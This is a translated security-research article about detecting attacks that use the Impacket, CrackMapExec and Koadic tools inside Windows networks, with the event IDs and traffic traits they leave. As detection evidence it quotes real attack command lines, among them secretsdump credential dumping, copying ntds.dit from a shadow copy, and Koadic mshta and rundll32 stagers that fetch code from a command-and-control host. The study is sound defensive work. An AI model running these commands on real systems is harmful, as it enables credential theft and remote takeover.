Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў

З кожным годам расце колькасць нападаў у карпаратыўным сектары: напрыклад у 2017 годзе зафіксавалі на 13% больш унікальных інцыдэнтаў чым у 2016 г., а па выніках 2018 г. на 27% больш інцыдэнтаў, чым у папярэднім перыядзе. У тым ліку і тых, дзе асноўнай працоўнай прыладай з'яўляецца аперацыйная сістэма Windows. У 2017-2018 гадах групоўкі APT Dragonfly, APT28, APT MuddyWater праводзілі атакі на ўрадавыя і ваенныя арганізацыі Еўропы, Паўночнай Амерыкі і Саудаўскай Аравіі. І выкарыстоўвалі для гэтага тры інструменты - Impacket, CrackMapExec и Koadic. Іх зыходны код адчынены і даступны на GitHub.

Варта адзначыць, што гэтыя прылады выкарыстоўваюцца не для першаснага пранікнення, а для развіцця нападу ўсярэдзіне інфраструктур. Зламыснікі выкарыстоўваюць іх на розных стадыях нападу, наступных пасля пераадолення перыметра. Гэта, дарэчы сказаць, складана дэтэктуецца і часцяком толькі з дапамогай тэхналогій выяўлення слядоў кампраметацыі ў сеткавым трафіку або інструментаў, якія дазваляюць выявіць актыўныя дзеянні зламысніка пасля пранікнення яго ў інфраструктуру. Прылады забяспечваюць мноства функцый - ад перадачы файлаў да ўзаемадзеяння з рэестрам і выкананні каманд на выдаленай машыне. Мы правялі даследаванне гэтых інструментаў, каб вызначыць іх сеткавую актыўнасць.

Што нам неабходна было зрабіць:

  • Зразумець, як працуе хакерскі інструментар. Даведацца, што неабходна атакавалым для эксплуатацыі і якімі тэхналогіямі яны могуць скарыстацца.
  • Знайсці тое, што не дэтэктуецца сродкамі інфармацыйнай бяспекі на першых стадыях нападу. Стадыя выведкі можа быць прапушчана, альбо таму што атакавалым выступае ўнутраны зламыснік, альбо таму што атакавалы карыстаецца брэхам у інфраструктуры, пра якую не было вядома раней. З'яўляецца магчымасць аднавіць увесь ланцужок яго дзеянняў, адсюль узнікае жаданне выяўляць далейшае перамяшчэнне.
  • Ліквідаваць ілжывыя спрацоўванні сродкаў выяўлення ўварванняў. Нельга забываць і пра тое, што пры выяўленні тых ці іншых дзеянняў на аснове адной толькі выведкі магчымыя частыя памылкі. Звычайна ў інфраструктуры існуе дастатковая колькасць спосабаў, неадрозных ад легітымных на першы погляд, атрымаць якую-небудзь інфармацыю.

Што ж даюць атакавалым гэтыя прылады? Калі гэта Impacket, то зламыснікі атрымліваюць вялікую бібліятэку модуляў, якія можна выкарыстоўваць на розных стадыях нападу, наступных пасля пераадолення перыметра. Многія інструменты выкарыстоўваюць модулі Impacket ў сябе ўнутры - напрыклад, Metasploit. У ім маюцца dcomexec і wmiexec для выдаленага выканання каманд, secretsdump для атрымання уліковых запісаў з памяці, якія дададзены з Impacket. У выніку правільнае выяўленне актыўнасці такой бібліятэкі забяспечыць і выяўленне вытворных.

Аб CrackMapExec (ці проста CME) стваральнікі невыпадкова напісалі "Powered by Impacket". Акрамя таго, CME мае ў сабе гатовую функцыянальнасць для папулярных сцэнараў: гэта і Mimikatz для атрымання пароляў ці іх хэшаў, і ўкараненне Meterpreter альбо Empire agent для выдаленага выканання, і Bloodhound на борце.

Трэці абраны намі інструмент - Koadic. Ён досыць свежы, быў прадстаўлены на міжнароднай хакерскай канферэнцыі DEFCON 25 у 2017 году і адрозніваецца нестандартным падыходам: працай праз HTTP, Java Script і Microsoft Visual Basic Script (VBS). Такі падыход завуць living off the land: прылада карыстаецца наборам залежнасцяў і бібліятэк, убудаваных у Windows. Стваральнікі называюць яго COM Сommand & Сontrol, або С3.

IMPACKET

Функцыянальнасць Impacket вельмі шырокая, пачынальна ад выведкі ўсярэдзіне AD і збору дадзеных з унутраных сервераў MS SQL, сканчаючы тэхнікамі для атрымання уліковых дадзеных: гэта і напад SMB relay, і атрыманне з кантролера дамена файла ntds.dit, утрымоўвальнага хэшы пароляў карыстачоў. Таксама Impacket выдалена выконвае каманды, выкарыстаючы чатыры розных спосабу: праз WMI, сэрвіс для кіравання планавальнікам Windows, DCOM і SMB, і для гэтага яму патрэбныя ўліковыя дадзеныя.

Secretsdump

Давайце разгледзім secretsdump. Гэта модуль, мэтай якога могуць быць як машыны карыстачоў, так і кантролеры дамена. З яго дапамогай можна атрымліваць копіі абласцей памяці LSA, SAM, SECURITY, NTDS.dit, таму яго можна ўбачыць на розных стадыях нападу. Першым крокам у працы модуля з'яўляецца аўтэнтыфікацыя праз SMB, для якой неабходны альбо пароль карыстача, альбо яго хэш для аўтаматычнага правядзення нападу Pass the Hash. Далей ідзе запыт на адкрыццё доступу да Service Control Manager (SCM) і атрыманне доступу да рэестра па пратаколе winreg, выкарыстаючы які атакавалы можа пазнаць дадзеныя якія цікавяць яго галінак і атрымаць вынікі праз SMB.

На мал. 1 мы бачым, як менавіта пры выкарыстанні пратаколу winreg адбываецца атрыманне доступу па ключы рэестра з LSA. Для гэтага выкарыстоўваецца каманда DCERPC з opcode 15 – OpenKey.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 1. Адкрыццё ключа рэестра па пратаколе winreg

Далей, калі доступ па ключы атрыманы, адбываецца захаванне значэнняў камандай SaveKey з opcode 20. Impacket робіць гэта вельмі спецыфічна. Ён захоўвае значэнні ў файл, імя якога - гэта радок з 8 выпадковых знакаў з даданнем .tmp. Акрамя таго, далейшая выгрузка гэтага файла адбываецца праз SMB з дырэкторыі System32 (мал. 2).

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 2. Схема атрымання ключа рэестра з выдаленай машыны

Выходзіць, выявіць падобную актыўнасць у сетцы можна па запытах да вызначаных галін рэестра па пратаколе winreg, спецыфічным імёнам, камандам і іх парадку.

Таксама гэты модуль пакідае сляды ў часопісе падзей Windows, дзякуючы якім ён лёгка выяўляецца. Напрыклад, у выніку выканання каманды

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

у часопісе Windows Server 2016 убачым наступную ключавую паслядоўнасць падзей:

1. 4624 - выдалены Logon.
2. 5145 – праверка правоў доступу да выдаленага сэрвісу winreg.
3. 5145 – праверка правоў доступу да файла ў дырэкторыі System32. Файл мае выпадковае імя, згаданае вышэй.
4. 4688 - стварэнне працэсу cmd.exe, які запускае vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - стварэнне працэсу з камандай:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - стварэнне працэсу з камандай:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - стварэнне працэсу з камандай:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Як і ў шматлікіх прылад для постэксплуатацыі, у Impacket ёсць модулі для выдаленага выканання каманд. Мы спынімся на smbexec, які дае інтэрактыўную камандную абалонку на выдаленай машыне. Для гэтага модуля таксама патрабуецца аўтэнтыфікацыя праз SMB або паролем, або яго хешам. На мал. 3 мы бачым прыклад працы такой прылады, у дадзеным выпадку гэта кансоль лакальнага адміністратара.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 3. Інтэрактыўная кансоль smbexec

Першым этапам працы smbexec пасля аўтэнтыфікацыі з'яўляецца адкрыццё SCM камандай OpenSCManagerW (15). Запыт характэрны: у ім поле MachineName мае значэнне DUMMY.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 4. Запыт на адкрыццё Service Control Manager

Далей адбываецца стварэнне сэрвісу з дапамогай каманды CreateServiceW(12). У выпадку smbexec мы можам бачыць кожны раз аднолькавую логіку пабудовы каманды. На мал. 5 зялёным колерам адзначаны нязменныя параметры каманды, жоўтым - тое, што атакуючы можа змяніць. Няцяжка заўважыць, што імя выкананага файла, яго дырэкторыю і файл output змяніць можна, але пакінутае памяняць куды складаней, не парушаючы логіку працы модуля Impacket.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 5. Запыт на стварэнне сэрвісу з дапамогай Service Control Manager

Smbexec таксама пакідае відавочныя сляды ў часопісе падзей Windows. У часопісе Windows Server 2016 для інтэрактыўнай каманднай абалонкі з камандай ipconfig убачым наступную ключавую паслядоўнасць падзей:

1. 4697 - усталёўка сэрвісу на машыне ахвяры:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - стварэнне працэсу cmd.exe з аргументамі з пункта 1.
3. 5145 - праверка правоў доступу да файла __output у дырэкторыі C$.
4. 4697 - усталёўка сэрвісу на машыне ахвяры.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - стварэнне працэсу cmd.exe з аргументамі з пункта 4.
6. 5145 - праверка правоў доступу да файла __output у дырэкторыі C$.

Impacket з'яўляецца асновай для распрацоўкі інструментаў для нападаў. Ён падтрымлівае амаль усе пратаколы ў Windows-інфраструктуры і пры гэтым мае свае характэрныя асаблівасці. Тут і пэўныя winreg-запыты, і выкарыстанне SCM API з характэрным фармаваннем каманд, і фармат імёнаў файлаў, і SMB share SYSTEM32.

CRACKMAPEXEC

Інструмент CME закліканы ў першую чаргу аўтаматызаваць тыя руцінныя дзеянні, якія даводзіцца выконваць атакаваламу для прасоўвання ўнутры сеткі. Ён дазваляе працаваць у звязку з даволі вядомымі Empire agent і Meterpreter. Каб выконваць каманды ўтойліва, CME можа іх абфусцыраваць. Выкарыстоўваючы Bloodhound (асобны інструмент для правядзення разведкі), атакавалы можа аўтаматызаваць пошук актыўнай сесіі даменнага адміністратара.

сышчык

Bloodhound як самастойны інструмент дазваляе весці прасунутую разведку ўнутры сеткі. Ён збірае дадзеныя аб карыстачах, машынах, групах, сесіях і пастаўляецца ў выглядзе скрыпту на PowerShell або бінарнага файла. Для збору інфармацыі выкарыстоўваюцца LDAP ці пратаколы, якія базуюцца на SMB. Інтэграцыйны модуль CME дазваляе загружаць Bloodhound на машыну ахвяры, запускаць і атрымліваць сабраныя дадзеныя пасля выканання, тым самым аўтаматызуючы дзеянні ў сістэме і робячы іх меней прыкметнымі. Графічная абалонка Bloodhound уяўляе сабраныя дадзеныя ў выглядзе графаў, што дазваляе знайсці найкароткі шлях ад машыны атакавалага да даменнага адміністратара.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 6. Інтэрфейс Bloodhound

Для запуску на машыне ахвяры модуль стварае задачу, выкарыстоўваючы ATSVC і SMB. ATSVC з'яўляецца інтэрфейсам для працы з планавальнікам задач Windows. CME выкарыстоўвае яго функцыю NetrJobAdd (1) для стварэння задач па сетцы. Прыклад таго, што адпраўляе модуль CME, паказаны на мал. 7: гэта выклік каманды cmd.exe і абфуцаваны код у выглядзе аргументаў у фармаце XML.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал.7. Стварэнне задачы праз CME

Пасля таго як задача паступіла на выкананне, машына ахвяры запускае сам Bloodhound, і ў трафіку гэта можна ўбачыць. Для модуля характэрны LDAP-запыты для атрымання стандартных груп, спісу ўсіх машын і карыстачоў у дамене, атрыманне інфармацыі аб актыўных карыстацкіх сесіях праз запыт SRVSVC NetSessEnum.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 8. Атрыманне спісу актыўных сесій праз SMB

Акрамя таго, запуск Bloodhound на машыне ахвяры з уключаным аўдытам суправаджаецца падзеяй з ID 4688 (стварэння працэсу) і імем працэсу «C:WindowsSystem32cmd.exe». Характэрным у ім з'яўляюцца аргументы каманднага радка:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Вельмі цікавы з пункта гледжання функцыянальнасці і рэалізацыі модуль enum_avproducts. WMI дазваляе з дапамогай мовы запытаў WQL атрымліваць дадзеныя розных аб'ектаў Windows, чым у сутнасці і карыстаецца гэты модуль CME. Ён генеруе запыты да класаў AntiSpywareProduct і AntiМirusProduct аб сродках абароны, усталяваных на машыне ахвяры. Для таго каб атрымаць патрэбныя дадзеныя, модуль выконвае падлучэнне да прасторы імёнаў rootSecurityCenter2, затым фармуе WQL-запыт і атрымлівае адказ. На мал. 9 паказана змест такіх запытаў і адказаў. У нашым прыкладзе знайшоўся Windows Defender.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 9. Сеткавая актыўнасць модуля enum_avproducts

Часцяком аўдыт WMI (Trace WMI-Activity), у падзеях якога можна знайсці карысную інфармацыю аб WQL-запытах, можа апынуцца выключаным. Але калі ён уключаны, то ў выпадку запуску сцэнара enum_avproducts захаваецца падзея з ID 11. У ім будзе змяшчацца імя карыстальніка, які адправіў запыт, і імя ў прасторы імёнаў rootSecurityCenter2.

У кожнага з модуляў CME выявіліся свае артэфакты, няхай гэта будзе спецыфічныя WQL-запыты або стварэнне вызначанага выгляду задачы ў task scheduler з абфускацыяй і характэрная для Bloodhound актыўнасць у LDAP і SMB.

KOADIC

Адметнай асаблівасцю Koadic з'яўляецца выкарыстанне ўбудаваных у Windows інтэрпрэтатараў JavaScript і VBScript. У гэтым сэнсе ён варта трэнду living off the land – гэта значыць не мае вонкавых залежнасцяў і карыстаецца стандартнымі сродкамі Windows. Гэта прылада для паўнавартаснага Command & Control (CnC), паколькі пасля заражэння на машыну ўсталёўваецца імплант, які дазваляе яе кантраляваць. Такая машына, у тэрміналогіі Koadic, завецца зомбі . Пры недахопе прывілеяў для паўнавартаснай працы на баку ахвяры Koadic мае магчымасць іх падняць, выкарыстоўваючы тэхнікі абыходу кантролю уліковых запісаў (UAC bypass).

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 10. Камандная абалонка Koadic

Ахвяра павінна сама ініцыяваць зносіны з серверам Command & Control. Для гэтага ёй неабходна звярнуцца па загадзя падрыхтаваным URI і атрымаць асноўнае цела Koadic з дапамогай аднаго са стэйджэраў. На мал. 11 паказаны прыклад для стэйджэра mshta.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 11. Ініцыялізацыя сесіі з CnC-серверам

Па зменнай WS адказу становіцца зразумела, што выкананне адбываецца праз WScript.Shell, а зменныя STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE утрымоўваюць ключавую інфармацыю аб параметрах бягучай сесіі. Гэта першая пара запыт-адказ у HTTP-злучэнні з CnC-серверам. Наступныя запыты звязаны непасрэдна з функцыянальнасцю выкліканых модуляў (імплантаў). Усе модулі Koadic працуюць толькі з актыўнай сесіяй з CnC.

Mimikatz

Гэтак жа, як CME працуе з Bloodhound, Koadic працуе з Mimikatz як з асобнай праграмай і мае некалькі спосабаў яе запуску. Ніжэй прадстаўлена пара запыт-адказ для загрузкі імпланта Mimikatz.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 12. Перадача Mimikatz у Koadic

Можна заўважыць, як змяніўся фармат URI у запыце. У ім з'явілася значэнне ў зменнай csrf, якая адказвае за абраны модуль. Не зважайце на яе імя; усе мы ведаем, што пад CSRF звычайна разумеюць іншае. У адказ прыйшло ўсё тое ж асноўнае цела Koadic, у якое дадаўся код, звязаны з Mimikatz. Ён дастаткова вялікі, таму разгледзім ключавыя моманты. Перад намі закадаваная ў base64 бібліятэка Mimikatz, серыялізаваны. NET-клас, які будзе яе инжектировать, і аргументы для запуску Mimikatz. Вынік выканання перадаецца па сетцы ў адкрытым выглядзе.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 13. Вынік выканання Mimikatz на выдаленай машыне

Exec_cmd

У Koadic таксама ёсць модулі, здольныя выдалена выконваць каманды. Тут мы ўбачым усё той жа метад генерацыі URI і знаёмыя зменныя sid і csrf. У выпадку модуля exec_cmd у цела дадаецца код, які здольны выконваць shell-каманды. Ніжэй паказаны такі код, які змяшчаецца ў HTTP-адказе CnC-сервера.

Як выявіць напады на Windows-інфраструктуру: вывучаем інструментар хакераў
Мал. 14. Код імпланта exec_cmd

Пераменная GAWTUUGCFI са знаёмым атрыбутам WS неабходна для выканання кода. З яе дапамогай імплант выклікае shell, апрацоўваючы дзве галінкі кода - shell.exec з вяртаннем выходнага струменя дадзеных і shell.run без вяртання.

Koadic не з'яўляецца тыповай прыладай, але мае свае артэфакты, па якіх яго можна знайсці ў легітымным трафіку:

  • асаблівае фарміраванне HTTP-запытаў,
  • выкарыстанне winHttpRequests API,
  • стварэнне аб'екта WScript.Shell праз ActiveXObject,
  • вялікае выкананае цела.

Першапачатковае злучэнне ініцыюе стэйджар, таму з'яўляецца магчымасць выяўляць яго актыўнасць праз падзеі Windows. Для mshta гэта падзея 4688, якая кажа аб стварэнні працэсу з атрыбутам запуску:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Падчас выканання Koadic можна ўбачыць і іншыя падзеі 4688 з атрыбутамі, якія выдатна яго характарызуюць:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Высновы

Трэнд living off the land набірае папулярнасць сярод зламыснікаў. Яны выкарыстоўваюць убудаваныя ў Windows прылады і механізмы для сваіх патрэб. Мы бачым, як папулярныя інструменты Koadic, CrackMapExec і Impacket, наступныя гэтаму прынцыпу, усё часцей сустракаюцца ў справаздачах аб APT. Лік форкаў на GitHub у гэтых прылад таксама расце, з'яўляюцца новыя (цяпер іх ужо каля тысячы). Трэнд набірае папулярнасць у сілу сваёй прастаты: зламыснікам не патрэбны іншыя інструменты, яны ўжо ёсць на машынах ахвяр і дапамагаюць абыходзіць сродкі абароны. Мы засяроджаны на вывучэнні сеткавага ўзаемадзеяння: кожны апісаны вышэй прылада пакідае свае сляды ў сеткавым трафіку; падрабязнае іх вывучэнне дазволіла нам навучыць наш прадукт PT Network Attack Discovery іх выяўляць, што ў выніку дапамагае расследаваць увесь ланцужок кіберынцыдэнтаў з іх удзелам.

Аўтары:

  • Антон Цюрын, кіраўнік аддзела экспертных сэрвісаў, PT Expert Security Center, Positive Technologies
  • Ягор Падмокаў, эксперт, PT Expert Security Center, Positive Technologies

Крыніца: habr.com

Дадаць каментар